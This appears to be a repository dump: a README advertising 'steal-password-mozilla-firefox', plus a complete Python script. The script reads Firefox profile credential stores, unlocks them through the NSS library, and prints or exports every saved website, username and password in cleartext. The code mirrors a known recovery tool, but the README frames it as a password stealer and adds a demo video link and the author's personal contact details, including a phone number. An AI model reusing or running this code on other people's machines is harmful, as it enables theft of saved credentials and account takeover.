├── README.md └── firefox.py /README.md: -------------------------------------------------------------------------------- 1 | # steal-password-mozilla-firefox 2 | steal password mozilla firefox ,windows,Linux 3 | 4 | 5 | # Demo Video 6 | 7 | https://www.youtube.com/watch?v=Mvs1QX8k3pA&feature=youtu.be 8 | 9 | # Original Project 10 | 11 | https://github.com/unode/firefox_decrypt 12 | 13 | # Contatct 14 | 15 | hakanonymos@hotmail.com 16 | 17 | instagram : hakanonymos 18 | 19 | skype : hakanonymos 20 | 21 | Whatsapp: +1 336 415 3487 22 | -------------------------------------------------------------------------------- /firefox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Based on original work from: www.dumpzilla.org 5 | 6 | import argparse 7 | import csv 8 | import ctypes as ct 9 | import json 10 | import logging 11 | import os 12 | import sqlite3 13 | import sys 14 | from base64 import b64decode 15 | from getpass import getpass 16 | from subprocess import PIPE, Popen 17 | 18 | try: 19 | # Python 3 20 | from subprocess import DEVNULL 21 | except ImportError: 22 | # Python 2 23 | DEVNULL = open(os.devnull, 'w') 24 | 25 | try: 26 | # Python 3 27 | from urllib.parse import urlparse 28 | except ImportError: 29 | # Python 2 30 | from urlparse import urlparse 31 | 32 | try: 33 | # Python 3 34 | from configparser import ConfigParser 35 | raw_input = input 36 | except ImportError: 37 | # Python 2 38 | from ConfigParser import ConfigParser 39 | 40 | PY3 = sys.version_info.major > 2 41 | LOG = None 42 | VERBOSE = False 43 | 44 | 45 | def get_version(): 46 | """Obtain version information from git if available otherwise use 47 | the internal version number 48 | """ 49 | def internal_version(): 50 | return '.'.join(map(str, __version_info__)) 51 | 52 | try: 53 | p = Popen(["git", "describe", "--tags"], stdout=PIPE, stderr=DEVNULL) 54 | except OSError: 55 | return internal_version() 56 | 57 | stdout, stderr = p.communicate() 58 | 59 | if p.returncode: 60 | return internal_version() 61 | else: 62 | return stdout.strip().decode("utf-8") 63 | 64 | 65 | __version_info__ = (0, 7, 0) 66 | __version__ = get_version() 67 | 68 | 69 | class NotFoundError(Exception): 70 | """Exception to handle situations where a credentials file is not found 71 | """ 72 | pass 73 | 74 | 75 | class Exit(Exception): 76 | """Exception to allow a clean exit from any point in execution 77 | """ 78 | ERROR = 1 79 | MISSING_PROFILEINI = 2 80 | MISSING_SECRETS = 3 81 | BAD_PROFILEINI = 4 82 | LOCATION_NO_DIRECTORY = 5 83 | 84 | FAIL_LOAD_NSS = 11 85 | FAIL_INIT_NSS = 12 86 | FAIL_NSS_KEYSLOT = 13 87 | FAIL_SHUTDOWN_NSS = 14 88 | BAD_MASTER_PASSWORD = 15 89 | NEED_MASTER_PASSWORD = 16 90 | 91 | PASSSTORE_NOT_INIT = 20 92 | PASSSTORE_MISSING = 21 93 | PASSSTORE_ERROR = 22 94 | 95 | READ_GOT_EOF = 30 96 | MISSING_CHOICE = 31 97 | NO_SUCH_PROFILE = 32 98 | 99 | UNKNOWN_ERROR = 100 100 | KEYBOARD_INTERRUPT = 102 101 | 102 | def __init__(self, exitcode): 103 | self.exitcode = exitcode 104 | 105 | def __unicode__(self): 106 | return "Premature program exit with exit code {0}".format(self.exitcode) 107 | 108 | 109 | class Credentials(object): 110 | """Base credentials backend manager 111 | """ 112 | def __init__(self, db): 113 | self.db = db 114 | 115 | LOG.debug("Database location: %s", self.db) 116 | if not os.path.isfile(db): 117 | raise NotFoundError("ERROR - {0} database not found\n".format(db)) 118 | 119 | LOG.info("Using %s for credentials.", db) 120 | 121 | def __iter__(self): 122 | pass 123 | 124 | def done(self): 125 | """Override this method if the credentials subclass needs to do any 126 | action after interaction 127 | """ 128 | pass 129 | 130 | 131 | class SqliteCredentials(Credentials): 132 | """SQLite credentials backend manager 133 | """ 134 | def __init__(self, profile): 135 | db = os.path.join(profile, "signons.sqlite") 136 | 137 | super(SqliteCredentials, self).__init__(db) 138 | 139 | self.conn = sqlite3.connect(db) 140 | self.c = self.conn.cursor() 141 | 142 | def __iter__(self): 143 | LOG.debug("Reading password database in SQLite format") 144 | self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType " 145 | "FROM moz_logins") 146 | for i in self.c: 147 | # yields hostname, encryptedUsername, encryptedPassword, encType 148 | yield i 149 | 150 | def done(self): 151 | """Close the sqlite cursor and database connection 152 | """ 153 | super(SqliteCredentials, self).done() 154 | 155 | self.c.close() 156 | self.conn.close() 157 | 158 | 159 | class JsonCredentials(Credentials): 160 | """JSON credentials backend manager 161 | """ 162 | def __init__(self, profile): 163 | db = os.path.join(profile, "logins.json") 164 | 165 | super(JsonCredentials, self).__init__(db) 166 | 167 | def __iter__(self): 168 | with open(self.db) as fh: 169 | LOG.debug("Reading password database in JSON format") 170 | data = json.load(fh) 171 | 172 | try: 173 | logins = data["logins"] 174 | except: 175 | raise Exception("Unrecognized format in {0}".format(self.db)) 176 | 177 | for i in logins: 178 | yield (i["hostname"], i["encryptedUsername"], 179 | i["encryptedPassword"], i["encType"]) 180 | 181 | 182 | class NSSDecoder(object): 183 | class SECItem(ct.Structure): 184 | """struct needed to interact with libnss 185 | """ 186 | _fields_ = [ 187 | ('type', ct.c_uint), 188 | ('data', ct.c_char_p), # actually: unsigned char * 189 | ('len', ct.c_uint), 190 | ] 191 | 192 | class PK11SlotInfo(ct.Structure): 193 | """opaque structure representing a logical PKCS slot 194 | """ 195 | 196 | def __init__(self): 197 | # Locate libnss and try loading it 198 | self.NSS = None 199 | self.load_libnss() 200 | 201 | SlotInfoPtr = ct.POINTER(self.PK11SlotInfo) 202 | SECItemPtr = ct.POINTER(self.SECItem) 203 | 204 | self._set_ctypes(ct.c_int, "NSS_Init", ct.c_char_p) 205 | self._set_ctypes(ct.c_int, "NSS_Shutdown") 206 | self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot") 207 | self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr) 208 | self._set_ctypes(ct.c_int, "PK11_CheckUserPassword", SlotInfoPtr, ct.c_char_p) 209 | self._set_ctypes(ct.c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, ct.c_void_p) 210 | self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, ct.c_int) 211 | 212 | # for error handling 213 | self._set_ctypes(ct.c_int, "PORT_GetError") 214 | self._set_ctypes(ct.c_char_p, "PR_ErrorToName", ct.c_int) 215 | self._set_ctypes(ct.c_char_p, "PR_ErrorToString", ct.c_int, ct.c_uint32) 216 | 217 | def _set_ctypes(self, restype, name, *argtypes): 218 | """Set input/output types on libnss C functions for automatic type casting 219 | """ 220 | res = getattr(self.NSS, name) 221 | res.restype = restype 222 | res.argtypes = argtypes 223 | setattr(self, "_" + name, res) 224 | 225 | @staticmethod 226 | def find_nss(locations, nssname): 227 | """Locate nss is one of the many possible locations 228 | """ 229 | for loc in locations: 230 | if os.path.exists(os.path.join(loc, nssname)): 231 | return loc 232 | 233 | LOG.warn("%s not found on any of the default locations for this platform. " 234 | "Attempting to continue nonetheless.", nssname) 235 | return "" 236 | 237 | def load_libnss(self): 238 | """Load libnss into python using the CDLL interface 239 | """ 240 | if os.name == "nt": 241 | nssname = "nss3.dll" 242 | locations = ( 243 | "", # Current directory or system lib finder 244 | r"C:\Program Files (x86)\Mozilla Firefox", 245 | r"C:\Program Files\Mozilla Firefox" 246 | ) 247 | firefox = self.find_nss(locations, nssname) 248 | 249 | os.environ["PATH"] = ';'.join([os.environ["PATH"], firefox]) 250 | LOG.debug("PATH is now %s", os.environ["PATH"]) 251 | 252 | elif os.uname()[0] == "Darwin": 253 | nssname = "libnss3.dylib" 254 | locations = ( 255 | "", # Current directory or system lib finder 256 | "/usr/local/lib/nss", 257 | "/usr/local/lib", 258 | "/opt/local/lib/nss", 259 | "/sw/lib/firefox", 260 | "/sw/lib/mozilla", 261 | "/usr/local/opt/nss/lib", # nss installed with Brew on Darwin 262 | "/opt/pkg/lib/nss", # installed via pkgsrc 263 | ) 264 | 265 | firefox = self.find_nss(locations, nssname) 266 | else: 267 | nssname = "libnss3.so" 268 | firefox = "" # Current directory or system lib finder 269 | 270 | try: 271 | nsslib = os.path.join(firefox, nssname) 272 | LOG.debug("Loading NSS library from %s", nsslib) 273 | 274 | self.NSS = ct.CDLL(nsslib) 275 | 276 | except Exception as e: 277 | LOG.error("Problems opening '%s' required for password decryption", nssname) 278 | LOG.error("Error was %s", e) 279 | raise Exit(Exit.FAIL_LOAD_NSS) 280 | 281 | def handle_error(self): 282 | """If an error happens in libnss, handle it and print some debug information 283 | """ 284 | LOG.debug("Error during a call to NSS library, trying to obtain error info") 285 | 286 | code = self._PORT_GetError() 287 | name = self._PR_ErrorToName(code) 288 | name = "NULL" if name is None else name.decode("ascii") 289 | # 0 is the default language (localization related) 290 | text = self._PR_ErrorToString(code, 0) 291 | text = text.decode("utf8") 292 | 293 | LOG.debug("%s: %s", name, text) 294 | 295 | def decode(self, data64): 296 | data = b64decode(data64) 297 | inp = self.SECItem(0, data, len(data)) 298 | out = self.SECItem(0, None, 0) 299 | 300 | e = self._PK11SDR_Decrypt(inp, out, None) 301 | LOG.debug("Decryption of data returned %s", e) 302 | try: 303 | if e == -1: 304 | LOG.error("Password decryption failed. Passwords protected by a Master Password!") 305 | self.handle_error() 306 | raise Exit(Exit.NEED_MASTER_PASSWORD) 307 | 308 | res = ct.string_at(out.data, out.len).decode("utf8") 309 | finally: 310 | # Avoid leaking SECItem 311 | self._SECITEM_ZfreeItem(out, 0) 312 | 313 | return res 314 | 315 | 316 | class NSSInteraction(object): 317 | """ 318 | Interact with lib NSS 319 | """ 320 | def __init__(self): 321 | self.profile = None 322 | self.NSS = NSSDecoder() 323 | 324 | def load_profile(self, profile): 325 | """Initialize the NSS library and profile 326 | """ 327 | LOG.debug("Initializing NSS with profile path '%s'", profile) 328 | self.profile = profile 329 | 330 | e = self.NSS._NSS_Init(b"sql:" + self.profile.encode("utf8")) 331 | LOG.debug("Initializing NSS returned %s", e) 332 | 333 | if e != 0: 334 | LOG.error("Couldn't initialize NSS, maybe '%s' is not a valid profile?", profile) 335 | self.NSS.handle_error() 336 | raise Exit(Exit.FAIL_INIT_NSS) 337 | 338 | def authenticate(self, interactive): 339 | """Check if the current profile is protected by a master password, 340 | prompt the user and unlock the profile. 341 | """ 342 | LOG.debug("Retrieving internal key slot") 343 | keyslot = self.NSS._PK11_GetInternalKeySlot() 344 | 345 | LOG.debug("Internal key slot %s", keyslot) 346 | if not keyslot: 347 | LOG.error("Failed to retrieve internal KeySlot") 348 | self.NSS.handle_error() 349 | raise Exit(Exit.FAIL_NSS_KEYSLOT) 350 | 351 | try: 352 | # NOTE It would be great to be able to check if the profile is 353 | # protected by a master password. In C++ one would do: 354 | # if (keyslot->needLogin): 355 | # however accessing instance methods is not supported by ctypes. 356 | # More on this topic: http://stackoverflow.com/a/19636310 357 | # A possibility would be to define such function using cython but 358 | # this adds an unecessary runtime dependency 359 | password = ask_password(self.profile, interactive) 360 | 361 | if password: 362 | LOG.debug("Authenticating with password '%s'", password) 363 | e = self.NSS._PK11_CheckUserPassword(keyslot, password.encode("utf8")) 364 | 365 | LOG.debug("Checking user password returned %s", e) 366 | 367 | if e != 0: 368 | LOG.error("Master password is not correct") 369 | 370 | self.NSS.handle_error() 371 | raise Exit(Exit.BAD_MASTER_PASSWORD) 372 | 373 | else: 374 | LOG.warn("Attempting decryption with no Master Password") 375 | finally: 376 | # Avoid leaking PK11KeySlot 377 | self.NSS._PK11_FreeSlot(keyslot) 378 | 379 | def unload_profile(self): 380 | """Shutdown NSS and deactive current profile 381 | """ 382 | e = self.NSS._NSS_Shutdown() 383 | 384 | if e != 0: 385 | LOG.error("Couldn't shutdown current NSS profile") 386 | 387 | self.NSS.handle_error() 388 | raise Exit(Exit.FAIL_SHUTDOWN_NSS) 389 | 390 | def decode_entry(self, user64, passw64): 391 | """Decrypt one entry in the database 392 | """ 393 | LOG.debug("Decrypting username data '%s'", user64) 394 | user = self.NSS.decode(user64) 395 | 396 | LOG.debug("Decrypting password data '%s'", passw64) 397 | passw = self.NSS.decode(passw64) 398 | 399 | return user, passw 400 | 401 | def decrypt_passwords(self, export, output_format="human", csv_delimiter=";", csv_quotechar="|"): 402 | """ 403 | Decrypt requested profile using the provided password and print out all 404 | stored passwords. 405 | """ 406 | def output_line(line): 407 | if PY3: 408 | sys.stdout.write(line) 409 | else: 410 | sys.stdout.write(line.encode("utf8")) 411 | 412 | # Any password in this profile store at all? 413 | got_password = False 414 | header = True 415 | 416 | credentials = obtain_credentials(self.profile) 417 | 418 | LOG.info("Decrypting credentials") 419 | to_export = {} 420 | 421 | if output_format == "csv": 422 | csv_writer = csv.DictWriter( 423 | sys.stdout, fieldnames=["url", "user", "password"], 424 | lineterminator="\n", delimiter=csv_delimiter, 425 | quotechar=csv_quotechar, quoting=csv.QUOTE_ALL, 426 | ) 427 | if header: 428 | csv_writer.writeheader() 429 | 430 | for url, user, passw, enctype in credentials: 431 | got_password = True 432 | 433 | # enctype informs if passwords are encrypted and protected by 434 | # a master password 435 | if enctype: 436 | user, passw = self.decode_entry(user, passw) 437 | 438 | LOG.debug("Decoding username '%s' and password '%s' for website '%s'", user, passw, url) 439 | LOG.debug("Decoding username '%s' and password '%s' for website '%s'", type(user), type(passw), type(url)) 440 | 441 | if export: 442 | # Keep track of web-address, username and passwords 443 | # If more than one username exists for the same web-address 444 | # the username will be used as name of the file 445 | address = urlparse(url) 446 | 447 | if address.netloc not in to_export: 448 | to_export[address.netloc] = {user: passw} 449 | 450 | else: 451 | to_export[address.netloc][user] = passw 452 | 453 | if output_format == "csv": 454 | output = {"url": url, "user": user, "password": passw} 455 | if PY3: 456 | csv_writer.writerow(output) 457 | else: 458 | csv_writer.writerow({k: v.encode("utf8") for k, v in output.items()}) 459 | 460 | else: 461 | output = ( 462 | u"\nWebsite: {0}\n".format(url), 463 | u"Username: '{0}'\n".format(user), 464 | u"Password: '{0}'\n".format(passw), 465 | ) 466 | for line in output: 467 | output_line(line) 468 | 469 | credentials.done() 470 | 471 | if not got_password: 472 | LOG.warn("No passwords found in selected profile") 473 | 474 | if export: 475 | return to_export 476 | 477 | 478 | def test_password_store(export): 479 | """Check if pass from passwordstore.org is installed 480 | If it is installed but not initialized, initialize it 481 | """ 482 | # Nothing to do here if exporting wasn't requested 483 | if not export: 484 | LOG.debug("Skipping password store test, not exporting") 485 | return 486 | 487 | LOG.debug("Testing if password store is installed and configured") 488 | 489 | try: 490 | p = Popen(["pass"], stdout=PIPE, stderr=PIPE) 491 | except OSError as e: 492 | if e.errno == 2: 493 | LOG.error("Password store is not installed and exporting was requested") 494 | raise Exit(Exit.PASSSTORE_MISSING) 495 | else: 496 | LOG.error("Unknown error happened.") 497 | LOG.error("Error was %s", e) 498 | raise Exit(Exit.UNKNOWN_ERROR) 499 | 500 | out, err = p.communicate() 501 | LOG.debug("pass returned: %s %s", out, err) 502 | 503 | if p.returncode != 0: 504 | if 'Try "pass init"' in err: 505 | LOG.error("Password store was not initialized.") 506 | LOG.error("Initialize the password store manually by using 'pass init'") 507 | raise Exit(Exit.PASSSTORE_NOT_INIT) 508 | else: 509 | LOG.error("Unknown error happened when running 'pass'.") 510 | LOG.error("Stdout/Stderr was '%s' '%s'", out, err) 511 | raise Exit(Exit.UNKNOWN_ERROR) 512 | 513 | 514 | def obtain_credentials(profile): 515 | """Figure out which of the 2 possible backend credential engines is available 516 | """ 517 | try: 518 | credentials = JsonCredentials(profile) 519 | except NotFoundError: 520 | try: 521 | credentials = SqliteCredentials(profile) 522 | except NotFoundError: 523 | LOG.error("Couldn't find credentials file (logins.json or signons.sqlite).") 524 | raise Exit(Exit.MISSING_SECRETS) 525 | 526 | return credentials 527 | 528 | 529 | def export_pass(to_export, prefix): 530 | """Export given passwords to password store 531 | 532 | Format of "to_export" should be: 533 | {"address": {"login": "password", ...}, ...} 534 | """ 535 | LOG.info("Exporting credentials to password store") 536 | for address in to_export: 537 | for user, passw in to_export[address].items(): 538 | # When more than one account exist for the same address, add 539 | # the login to the password identifier 540 | if len(to_export[address]) > 1: 541 | passname = u"{0}/{1}/{2}".format(prefix, address, user) 542 | 543 | else: 544 | passname = u"{0}/{1}".format(prefix, address) 545 | 546 | LOG.debug("Exporting credentials for '%s'", passname) 547 | 548 | data = u"{0}\n{1}\n".format(passw, user) 549 | 550 | LOG.debug("Inserting pass '%s' '%s'", passname, data) 551 | 552 | # NOTE --force is used. Existing passwords will be overwritten 553 | cmd = ["pass", "insert", "--force", "--multiline", passname] 554 | 555 | LOG.debug("Running command '%s' with stdin '%s'", cmd, data) 556 | 557 | p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE) 558 | out, err = p.communicate(data.encode("utf8")) 559 | 560 | if p.returncode != 0: 561 | LOG.error("ERROR: passwordstore exited with non-zero: %s", p.returncode) 562 | LOG.error("Stdout/Stderr was '%s' '%s'", out, err) 563 | raise Exit(Exit.PASSSTORE_ERROR) 564 | 565 | LOG.debug("Successfully exported '%s'", passname) 566 | 567 | 568 | def get_sections(profiles): 569 | """ 570 | Returns hash of profile numbers and profile names. 571 | """ 572 | sections = {} 573 | i = 1 574 | for section in profiles.sections(): 575 | if section.startswith("Profile"): 576 | sections[str(i)] = profiles.get(section, "Path") 577 | i += 1 578 | else: 579 | continue 580 | return sections 581 | 582 | 583 | def print_sections(sections, textIOWrapper=sys.stderr): 584 | """ 585 | Prints all available sections to an textIOWrapper (defaults to sys.stderr) 586 | """ 587 | for i in sorted(sections): 588 | textIOWrapper.write("{0} -> {1}\n".format(i, sections[i])) 589 | textIOWrapper.flush() 590 | 591 | 592 | def ask_section(profiles, choice_arg): 593 | """ 594 | Prompt the user which profile should be used for decryption 595 | """ 596 | sections = get_sections(profiles) 597 | 598 | # Do not ask for choice if user already gave one 599 | if choice_arg and len(choice_arg) == 1: 600 | choice = choice_arg[0] 601 | else: 602 | # If only one menu entry exists, use it without prompting 603 | if len(sections) == 1: 604 | choice = "1" 605 | 606 | else: 607 | choice = None 608 | while choice not in sections: 609 | sys.stderr.write("Select the Firefox profile you wish to decrypt\n") 610 | print_sections(sections) 611 | try: 612 | choice = raw_input() 613 | except EOFError: 614 | LOG.error("Could not read Choice, got EOF") 615 | raise Exit(Exit.READ_GOT_EOF) 616 | 617 | try: 618 | final_choice = sections[choice] 619 | except KeyError: 620 | LOG.error("Profile No. %s does not exist!", choice) 621 | raise Exit(Exit.NO_SUCH_PROFILE) 622 | 623 | LOG.debug("Profile selection matched %s", final_choice) 624 | 625 | return final_choice 626 | 627 | 628 | def ask_password(profile, interactive): 629 | """ 630 | Prompt for profile password 631 | """ 632 | utf8 = "UTF-8" 633 | input_encoding = utf8 if sys.stdin.encoding in (None, 'ascii') else sys.stdin.encoding 634 | passmsg = "\nMaster Password for profile {}: ".format(profile) 635 | 636 | if sys.stdin.isatty() and interactive: 637 | passwd = getpass(passmsg) 638 | 639 | else: 640 | # Ability to read the password from stdin (echo "pass" | ./firefox_...) 641 | passwd = sys.stdin.readline().rstrip("\n") 642 | 643 | if PY3: 644 | return passwd 645 | else: 646 | return passwd.decode(input_encoding) 647 | 648 | 649 | def read_profiles(basepath, list_profiles): 650 | """ 651 | Parse Firefox profiles in provided location. 652 | If list_profiles is true, will exit after listing available profiles. 653 | """ 654 | profileini = os.path.join(basepath, "profiles.ini") 655 | 656 | LOG.debug("Reading profiles from %s", profileini) 657 | 658 | if not os.path.isfile(profileini): 659 | LOG.warn("profile.ini not found in %s", basepath) 660 | raise Exit(Exit.MISSING_PROFILEINI) 661 | 662 | # Read profiles from Firefox profile folder 663 | profiles = ConfigParser() 664 | profiles.read(profileini) 665 | 666 | LOG.debug("Read profiles %s", profiles.sections()) 667 | 668 | if list_profiles: 669 | LOG.debug("Listing available profiles...") 670 | print_sections(get_sections(profiles), sys.stdout) 671 | raise Exit(0) 672 | 673 | return profiles 674 | 675 | 676 | def get_profile(basepath, interactive, choice, list_profiles): 677 | """ 678 | Select profile to use by either reading profiles.ini or assuming given 679 | path is already a profile 680 | If interactive is false, will not try to ask which profile to decrypt. 681 | choice contains the choice the user gave us as an CLI arg. 682 | If list_profiles is true will exits after listing all available profiles. 683 | """ 684 | try: 685 | profiles = read_profiles(basepath, list_profiles) 686 | except Exit as e: 687 | if e.exitcode == Exit.MISSING_PROFILEINI: 688 | LOG.warn("Continuing and assuming '%s' is a profile location", basepath) 689 | profile = basepath 690 | 691 | if list_profiles: 692 | LOG.error("Listing single profiles not permitted.") 693 | raise 694 | 695 | if not os.path.isdir(profile): 696 | LOG.error("Profile location '%s' is not a directory", profile) 697 | raise 698 | else: 699 | raise 700 | else: 701 | if not interactive: 702 | 703 | sections = get_sections(profiles) 704 | 705 | if choice and len(choice) == 1: 706 | 707 | try: 708 | section = sections[(choice[0])] 709 | except KeyError: 710 | LOG.error("Profile No. %s does not exist!", choice[0]) 711 | raise Exit(Exit.NO_SUCH_PROFILE) 712 | 713 | elif len(sections) == 1: 714 | section = sections['1'] 715 | 716 | else: 717 | LOG.error("Don't know which profile to decrypt. We are in non-interactive mode and -c/--choice is missing.") 718 | raise Exit(Exit.MISSING_CHOICE) 719 | else: 720 | # Ask user which profile to open 721 | section = ask_section(profiles, choice) 722 | 723 | profile = os.path.join(basepath, section) 724 | 725 | if not os.path.isdir(profile): 726 | LOG.error("Profile location '%s' is not a directory. Has profiles.ini been tampered with?", profile) 727 | raise Exit(Exit.BAD_PROFILEINI) 728 | 729 | return profile 730 | 731 | 732 | def parse_sys_args(): 733 | """Parse command line arguments 734 | """ 735 | 736 | if os.name == "nt": 737 | profile_path = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox") 738 | elif os.uname()[0] == "Darwin": 739 | profile_path = "~/Library/Application Support/Firefox" 740 | else: 741 | profile_path = "~/.mozilla/firefox" 742 | 743 | parser = argparse.ArgumentParser( 744 | description="Access Firefox/Thunderbird profiles and decrypt existing passwords" 745 | ) 746 | parser.add_argument("profile", nargs="?", default=profile_path, 747 | help="Path to profile folder (default: {0})".format(profile_path)) 748 | parser.add_argument("-e", "--export-pass", action="store_true", 749 | help="Export URL, username and password to pass from passwordstore.org") 750 | parser.add_argument("-p", "--pass-prefix", action="store", default=u"web", 751 | help="Prefix for export to pass from passwordstore.org (default: %(default)s)") 752 | parser.add_argument("-f", "--format", action="store", choices={"csv", "human"}, 753 | default="human", help="Format for the output.") 754 | parser.add_argument("-d", "--delimiter", action="store", default=";", 755 | help="The delimiter for csv output") 756 | parser.add_argument("-q", "--quotechar", action="store", default='"', 757 | help="The quote char for csv output") 758 | parser.add_argument("-t", "--tabular", action="store_true", help=argparse.SUPPRESS) 759 | parser.add_argument("-n", "--no-interactive", dest="interactive", 760 | default=True, action="store_false", 761 | help="Disable interactivity.") 762 | parser.add_argument("-c", "--choice", nargs=1, 763 | help="The profile to use (starts with 1). If only one profile, defaults to that.") 764 | parser.add_argument("-l", "--list", action="store_true", 765 | help="List profiles and exit.") 766 | parser.add_argument("-v", "--verbose", action="count", default=0, 767 | help="Verbosity level. Warning on -vv (highest level) user input will be printed on screen") 768 | parser.add_argument("--version", action="version", version=__version__, 769 | help="Display version of firefox_decrypt and exit") 770 | 771 | args = parser.parse_args() 772 | 773 | # replace character you can't enter as argument 774 | if args.delimiter == "\\t": 775 | args.delimiter = "\t" 776 | 777 | if args.tabular: 778 | args.format = "csv" 779 | args.delimiter = "\t" 780 | args.quotechar = "'" 781 | 782 | return args 783 | 784 | 785 | def setup_logging(args): 786 | """Setup the logging level and configure the basic logger 787 | """ 788 | if args.verbose == 1: 789 | level = logging.INFO 790 | elif args.verbose >= 2: 791 | level = logging.DEBUG 792 | else: 793 | level = logging.WARN 794 | 795 | logging.basicConfig( 796 | format="%(asctime)s - %(levelname)s - %(message)s", 797 | level=level, 798 | ) 799 | 800 | global LOG 801 | LOG = logging.getLogger(__name__) 802 | 803 | 804 | def main(): 805 | """Main entry point 806 | """ 807 | args = parse_sys_args() 808 | 809 | setup_logging(args) 810 | if args.tabular: 811 | LOG.warning("--tabular is deprecated. Use `--format csv --delimiter \\t` instead") 812 | 813 | LOG.info("Running firefox_decrypt version: %s", __version__) 814 | LOG.debug("Parsed commandline arguments: %s", args) 815 | 816 | # Check whether pass from passwordstore.org is installed 817 | test_password_store(args.export_pass) 818 | 819 | # Initialize nss before asking the user for input 820 | nss = NSSInteraction() 821 | 822 | basepath = os.path.expanduser(args.profile) 823 | 824 | # Read profiles from profiles.ini in profile folder 825 | profile = get_profile(basepath, args.interactive, args.choice, args.list) 826 | 827 | # Start NSS for selected profile 828 | nss.load_profile(profile) 829 | # Check if profile is password protected and prompt for a password 830 | nss.authenticate(args.interactive) 831 | # Decode all passwords 832 | to_export = nss.decrypt_passwords( 833 | export=args.export_pass, 834 | output_format=args.format, 835 | csv_delimiter=args.delimiter, 836 | csv_quotechar=args.quotechar, 837 | ) 838 | 839 | if args.export_pass: 840 | export_pass(to_export, args.pass_prefix) 841 | 842 | # And shutdown NSS 843 | nss.unload_profile() 844 | 845 | 846 | if __name__ == "__main__": 847 | try: 848 | main() 849 | except KeyboardInterrupt as e: 850 | print("Quit.") 851 | sys.exit(Exit.KEYBOARD_INTERRUPT) 852 | except Exit as e: 853 | sys.exit(e.exitcode) 854 | --------------------------------------------------------------------------------